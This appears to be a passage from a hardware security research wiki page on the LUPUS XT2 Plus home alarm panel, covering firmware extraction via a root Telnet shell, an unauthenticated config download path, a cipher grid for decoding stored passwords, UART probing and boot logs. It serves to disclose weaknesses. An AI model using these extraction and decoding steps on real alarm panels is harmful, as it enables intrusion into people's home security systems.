&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS XT2 Plus: Unauthorized Login&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=250px&amp;gt;&lt;br /&gt;
image:LUPUS XT2 Warning.png|Warning&lt;br /&gt;
image:LUPUS XT2 Certificate.png|Certificate&lt;br /&gt;
image:LUPUS XT2 Login.png|Login&lt;br /&gt;
image:LUPUS XT2 Denied.png|Denied&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The OS has no suitable programs to transfer files like &amp;lt;code&amp;gt;nc&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ftp&amp;lt;/code&amp;gt; or similar. But the FS is writable. So while having root access via Telnet, it is possible to copy all files that one don&#039;t want to copy manually from the Telnet Terminal window into the folder &amp;lt;code&amp;gt;/root/html/temp/&amp;lt;/code&amp;gt; and then download them via HTTP at the address &amp;lt;code&amp;gt;https://XT2_IP/temp/$FILENAME&amp;lt;/code&amp;gt;. Using the &amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt; command, entire folders can be downloaded without any authenticated. This allows the even the extraction of the whole accessible firmware from the root shell (&amp;lt;code&amp;gt;cd / &amp;amp;&amp;amp; tar -zcvf firmware.tar.gz * &amp;amp;&amp;amp; mv firmware.tar.gz /root/html/temp/&amp;lt;/code&amp;gt;) and downloading it via web browser (&amp;lt;code&amp;gt;https://XT2_IP/temp/firmware.tar.gz&amp;lt;/code&amp;gt;). This also has the advantage that the firmeware is already unpacked and there is no need to bother with decompressing the file system or the like. Here the file &amp;lt;code&amp;gt;/root/hpgw&amp;lt;/code&amp;gt; is of great interest and will be analyzed in the following. &amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;HPGW API URLs found while analysing the program &amp;lt;code&amp;gt;/root/hpgw&amp;lt;/code&amp;gt;, which manages the whole System. These are not part of the webroot directroy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/action/welcomeGet&lt;br /&gt;
/action/logout&lt;br /&gt;
/action/postAuthCmd (auth.)&lt;br /&gt;
/action/devStatusGet (auth.)&lt;br /&gt;
/action/factory (auth.)&lt;br /&gt;
/action/deviceListGet (auth.)&lt;br /&gt;
/action/recordListGet (auth.)&lt;br /&gt;
/action/datetimeGet (auth.)&lt;br /&gt;
/action/groupGet (auth.)&lt;br /&gt;
/action/webCfgGet (auth.)&lt;br /&gt;
/action/tokenGet (auth.)&lt;br /&gt;
/action/changePasswdGet (auth.)&lt;br /&gt;
/action/newPasswdPost (auth.)&lt;br /&gt;
/action/firmwareUpdatefactory (auth.)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: The device blocks IP and stops responding &amp;lt;code&amp;gt;browser:ERR_EMPTY_RESPONSE&amp;lt;/code&amp;gt; after 3 login attempts.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Example Web Application Config extracted from &amp;lt;code&amp;gt;/root/config/config.json&amp;lt;/code&amp;gt;. Every config file within &amp;lt;code&amp;gt;/root/config -&amp;gt; /mnt/mtd/config&amp;lt;/code&amp;gt; is protected against modification with a MD5 checksum.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebDegreeF&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebPort&amp;quot;:&amp;quot;80&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebPortSSL&amp;quot;:&amp;quot;443&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebRedirectSSL&amp;quot;:&amp;quot;1&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Admin_Name&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;admin&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Admin_Passwd&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;NDc2MTAzMj08NQ==&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;Web_Expert_Active&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Expert_Name&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;expert&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Expert_Passwd&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;YH11YHdxNDc2MQ==&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;Web_SunTime&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;Web_User_Active&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_User_Name&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;user&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_User_Passwd&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;cHZgdzQ3NjE=&amp;quot;&amp;lt;/span&amp;gt;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The &amp;lt;code&amp;gt;user&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;expert&amp;lt;/code&amp;gt; user are not enabled by default and the default password (&amp;lt;code&amp;gt;{admin|expert|user}1234&amp;lt;/code&amp;gt;) must be changed on activation of any user.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: If the configuration of the device has been exported since the previous reboot, it can be downloaded without authentication via &amp;lt;code&amp;gt;https://$XT2_IP/temp/config.tar.gz&amp;lt;/code&amp;gt;. The configuration contains PINs, user passwords, and all other configuration settings. Passwords and PINs are &amp;quot;encrypted&amp;quot; using a simple substitution cipher.&amp;lt;sup&amp;gt;[[#CVE1|Dan Fabian]]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The system uses a simple substitutions cipher to store passwords. The password strings in config.json are Base64 encoded, so just decode the strings and use the grid below to find a clear text password. For example: the admin password &amp;lt;b&amp;gt;NDc2MTAzMj08NQ===&amp;lt;/b&amp;gt; decodes back to &amp;lt;b&amp;gt;4761032=&amp;lt;5&amp;lt;/b&amp;gt;, which results in &amp;lt;b&amp;gt;1234567890&amp;lt;/b&amp;gt; as a clear text password when using the given cipher grid.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;│ A  D │ M  H │ Y  \ │ k  n │ w  r │ 8  = │ &amp;gt;  ; │ &amp;amp;  # │&lt;br /&gt;
│ B  G │ N  K │ Z  _ │ l  i │ x  } │ 9  &amp;lt; │ ?  : │ &#039;  &amp;quot; │&lt;br /&gt;
│ C  F │ O  J │ a  d │ m  h │ y  │ │ :  ? │ @  E │ (  ─ │&lt;br /&gt;
│ D  A │ P  U │ b  g │ n  k │ z  _ │ ;  &amp;gt; │ {  ~ │ )  , │&lt;br /&gt;
│ E  @ │ Q  T │ c  f │ o  j │ 0  5 │ [  ^ │ │  y │ *  / │&lt;br /&gt;
│ F  C │ R  W │ d  a │ p  u │ 1  4 │ \  Y │ }  x │ +  . │&lt;br /&gt;
│ G  B │ S  V │ e  &#039; │ q  t │ 2  7 │ ]  X │ ~  { │ ,  ) │&lt;br /&gt;
│ H  M │ T  Q │ f  c │ r  w │ 3  6 │ ^  [ │ !  $ │ ─  ( │&lt;br /&gt;
│ I  L │ U  P │ g  b │ s  v │ 4  1 │ _  Z │ &amp;quot;  &#039; │ .  + │&lt;br /&gt;
│ J  O │ V  S │ h  m │ t  q │ 5  0 │ `  e │ #  &amp;amp; │ /  * │&lt;br /&gt;
│ K  N │ W  R │ i  l │ u  p │ 6  3 │ &amp;lt;  9 │ $  ! │      │&lt;br /&gt;
│ L  I │ X  ] │ j  o │ v  s │ 7  2 │ =  8 │ %    │      │&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Special thanks to Justin B. for providing the cipher grid!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Application&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Physical Intervention&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [FR] Un loup est un loup, il mourra dans sa peau, si on ne l&#039;écorche vif. (Original) (1876)&lt;br /&gt;
 [EN] A wolf is a wolf, he&#039;ll die in his skin if he&#039;s not skinned alive. (Translated)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery id=&amp;quot;LUPUS_XT2_Plus_PCB&amp;quot; caption=&amp;quot;LUPUS XT2 Plus: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_XT2_Plus_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_XT2_Plus_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: All metal covers have been removed!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Unlike the XT1 Plus and XT3, the XT2 (Plus) has no sabotage contact to protect it against manipulation. The vendor recommends the use of a motion sensor for location protection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS Outdoor Siren&amp;lt;/b&amp;gt;: V2&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS Outdoor Siren V2: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_Outdoor_Siren_V2_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_Outdoor_Siren_V2_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS Remote Control&amp;lt;/b&amp;gt;: V1&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS Remtoe Control V1: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_Remote_Control_V1_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_Remote_Control_V1_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS Door Contact&amp;lt;/b&amp;gt;: V1&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS Door Contact V1: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_Door_Contact_V1_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_Door_Contact_V1_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;SoC&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Faraday_GM812225TF-Qc_Soc.png|230px|right|thumb|Faraday GM812225TF-Qc Soc: Investigated PIN reference]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The main processor, referred to as MCU here, is a Faraday &amp;quot;GM812225TF-Qc&amp;quot; Soc and has a Thin Quad Flat Package (TQFP) with 176 leads on the side. Although this chip has a lead density of 22 leads/cm, it is still possible to hook up to them. This could also be used to intercept other information streams in and out of the MCU. Even if this in itself should not have a security risk in the actual use of the device! The MCU was only examined for the availability of an active UART.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;UART&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The LUPUS XT2 Plus provides one designated UART connector to communicate with the MCU. This is the white 3-Pin connector at the bottom left of the from view of the PCB. This connector is labeled with &amp;quot;UART5&amp;quot;. After a short check with a multimeter the middle PIN could be identified as GND. Both other PINs are under 3.3V voltage. Using trial-and-error and a UART-to-TLL adapter, the lower PIN on the photo was identified as TX. However, the upper PIN was not identified as RX. To make sure that no further circuits between the intended UART connector and the MCU can interfere with the communication or mistakes were made by me during the cabling, the data sheet of the MCU was consulted and the available PINs for a possible UART were searched for. the MCU has 3 UARTs. UART0_SIN (87), UART0_SOUT (88), UART1_SIN (82), UART1_SOUT (83) and UART2_SOUT (84). These corresponding PINs in brackets were checked to determine which UART was connected to connector UART5 of the PCB. The results show that this is the UART2 of the MCU, which does NOT provide a matching UART2_SIN PIN and therefore only allows output for debugging. Thanks telnet this is also not needed for this model and firmware version! The other physical UARTs are active, but the application could not be determined without further investigations. Where the dmesg indicates 5 serial I/O ports. Whereby, in more detail, &amp;quot;ttyS2::sysinit:/etc/init.d/rc.sysinit&amp;quot; is used for &amp;quot;Climax NET6 usage&amp;quot;. The developers have taken care of an effective protection against manipulation by choosing a physical UART without RX PIN, which is done by few manufacturers.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Serial interfaces&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[root@HPGW-NET6]# dmesg | grep serial&lt;br /&gt;
&amp;lt;6&amp;gt;Early serial console at I/O port 0xf9850000 (options &#039;115200&#039;, shift 2)&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS0 at I/O 0xf9830000 (irq = 9) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS1 at I/O 0xf9840000 (irq = 10) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS2 at I/O 0xf9850000 (irq = 20) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS3 at I/O 0xf9880000 (irq = 21) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;serial8250: ttyS4 at I/O 0xf9890000 (irq = 22) is a 16550A&lt;br /&gt;
&amp;lt;6&amp;gt;usbcore: registered new interface driver usbserial&lt;br /&gt;
&amp;lt;6&amp;gt;usbserial: USB Serial Driver core&lt;br /&gt;
&amp;lt;6&amp;gt;pl2303: Prolific PL2303 USB to serial adaptor driver&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# cat /etc/inittab&lt;br /&gt;
# system initialisation&lt;br /&gt;
#::sysinit:/bin/mount -n -o remount,rw /&lt;br /&gt;
#ttyS0::sysinit:/etc/init.d/rc.sysinit&lt;br /&gt;
#Climax NET6 usage&lt;br /&gt;
ttyS2::sysinit:/etc/init.d/rc.sysinit&lt;br /&gt;
#::sysinit:/etc/init.d/test.sh&lt;br /&gt;
&lt;br /&gt;
# run gettys on the serial ports&lt;br /&gt;
#null::respawn:/sbin/getty -L ttySA0 9600 vt100&lt;br /&gt;
#Line below is used with devfs&lt;br /&gt;
#::respawn:/sbin/getty -L tts/0 38400 vt100&lt;br /&gt;
#::respawn:/sbin/getty ttyS0 38400 vt100&lt;br /&gt;
#::respawn:/sbin/getty -L ttyS1 38400 vt100&lt;br /&gt;
#::respawn:/sbin/getty -L ttyS2 38400 vt100&lt;br /&gt;
#::respawn:/bin/sh &amp;lt; /dev/ttyS0 2&amp;gt;&amp;amp;1 &amp;gt; /dev/ttyS0&lt;br /&gt;
#Climax NET6 usage&lt;br /&gt;
::respawn:/bin/sh &amp;lt; /dev/ttyS2 2&amp;gt;&amp;amp;1 &amp;gt; /dev/ttyS2&lt;br /&gt;
#::respawn:/bin/sh&lt;br /&gt;
# stuff to do before rebooting&lt;br /&gt;
::ctrlaltdel:/etc/init.d/reboot&lt;br /&gt;
::shutdown:/bin/umount -a -r&lt;br /&gt;
::shutdown:/sbin/swapoff -a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootloader&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Since there are no available pins on the MC which accept input via UART, the use of U-Boot can be confirmed by the boot log, but there has no possibility to access it via UART be found.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: U-Boot default environment&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[root@HPGW-NET6]# cat /proc/cmdline&lt;br /&gt;
mem=64M console=uart,shift,2,io,0xF9850000,115200 quiet&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# fw_printenv&lt;br /&gt;
Warning: Bad CRC, using default environment&lt;br /&gt;
bootargs=&lt;br /&gt;
bootcmd=sf probe 0:0;sf read 0x4000000 0xd6100 0x800000;go 0x4000000&lt;br /&gt;
bootdelay=1&lt;br /&gt;
baudrate=115200&lt;br /&gt;
ethaddr=00:42:70:00:30:22&lt;br /&gt;
ipaddr=10.0.1.52&lt;br /&gt;
serverip=10.0.1.51&lt;br /&gt;
gatewayip=10.0.1.51&lt;br /&gt;
netmask=255.0.0.0&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# cat /proc/mtd&lt;br /&gt;
dev:    size   erasesize  name&lt;br /&gt;
mtd0: 007f0000 00010000 &amp;quot;Linux Section&amp;quot;&lt;br /&gt;
mtd1: 00720000 00010000 &amp;quot;User Section&amp;quot;&lt;br /&gt;
mtd2: ffff6000 00010000 &amp;quot;Loader Section&amp;quot;&lt;br /&gt;
mtd3: 0009a000 00010000 &amp;quot;BurnIn Section&amp;quot;&lt;br /&gt;
mtd4: 00020000 00010000 &amp;quot;UBoot Section&amp;quot;&lt;br /&gt;
mtd5: 00020000 00010000 &amp;quot;CFG Section&amp;quot;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootlog&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
MP SPI-NOR Bootstrap v0.2&lt;br /&gt;
Boot image offset: 0x6000. Booting Image .....&lt;br /&gt;
&lt;br /&gt;
Will set the following freq...&lt;br /&gt;
PLL1: 400 MHz, PLL2: 270 MHz, CPU freq: 270 MHz, AHB freq: 135 MHz, DDR freq: 400 MHz&lt;br /&gt;
go...&lt;br /&gt;
&lt;br /&gt;
*********************************************&lt;br /&gt;
Please input Space to run Linux&lt;br /&gt;
Please input ESC to run UBOOT&lt;br /&gt;
Please input . to run burn-in&lt;br /&gt;
Otherwise, system will run Linux after 0 sec&lt;br /&gt;
*********************************************&lt;br /&gt;
Load image from SPI-NOR offset 0xe0000 to sdram 0x2800000&lt;br /&gt;
Jump 0x2800000&lt;br /&gt;
Uncompressing Linux.............................................................................................................................................................................................................. done, booting the kernel.&lt;br /&gt;
Linux version 2.6.28 (engin@engin-desktop) (gcc version 4.4.0 (Faraday C/C++ Compiler Release 20100325) ) #2442 PREEMPT Tue Feb 13 15:30:10 CST 2018&lt;br /&gt;
CPU: FA626TE [66056261] revision 1 (ARMv5TE), cr=0000797f&lt;br /&gt;
CPU: VIPT aliasing data cache, VIPT aliasing instruction cache&lt;br /&gt;
Machine: Faraday GM8126&lt;br /&gt;
Warning: bad configuration page, trying to continue&lt;br /&gt;
Memory policy: ECC disabled, Data cache writeback&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: mem=64M console=uart,shift,2,io,0xF9850000,115200 quiet&lt;br /&gt;
Early serial console at I/O port 0xf9850000 (options &#039;115200&#039;, shift 2)&lt;br /&gt;
console [uart0] enabled&lt;br /&gt;
fotg210 fotg210: init fotg210 fail, -16&lt;br /&gt;
starting pid 169, tty &#039;/dev/ttyS2&#039;: &#039;/etc/init.d/rc.sysinit&#039;&lt;br /&gt;
Mounting root fs rw ...&lt;br /&gt;
Mounting other filesystems ...&lt;br /&gt;
Setting hostname ...&lt;br /&gt;
Mounting user&#039;s MTD partion&lt;br /&gt;
Has JFFS2 on mtdblock1&lt;br /&gt;
GM devmem set&lt;br /&gt;
Setup networking&lt;br /&gt;
Setup PWM driver&lt;br /&gt;
Setup ADC driver&lt;br /&gt;
Setup SAR module&lt;br /&gt;
Setup RTC driver&lt;br /&gt;
Setup WDT driver&lt;br /&gt;
Setup climax driver&lt;br /&gt;
[NOTE][MISC]Logger started...&lt;br /&gt;
[NOTE][MISC]Logger started...&lt;br /&gt;
[INFO][MISC]Initialized log&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][ACTN]Initialized&lt;br /&gt;
[INFO][DEV ]Panel RF device ID:&#039;RF:0585a7f0&#039;&lt;br /&gt;
[INFO][DEV ]36 template(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_resp: 26 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_latch: 6 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_panic: 6 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_fire: 4 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_medical: 4 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_emergency: 9 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_btn_mode: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_set_unset: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_whole_area: 7 item(s) loaded&lt;br /&gt;
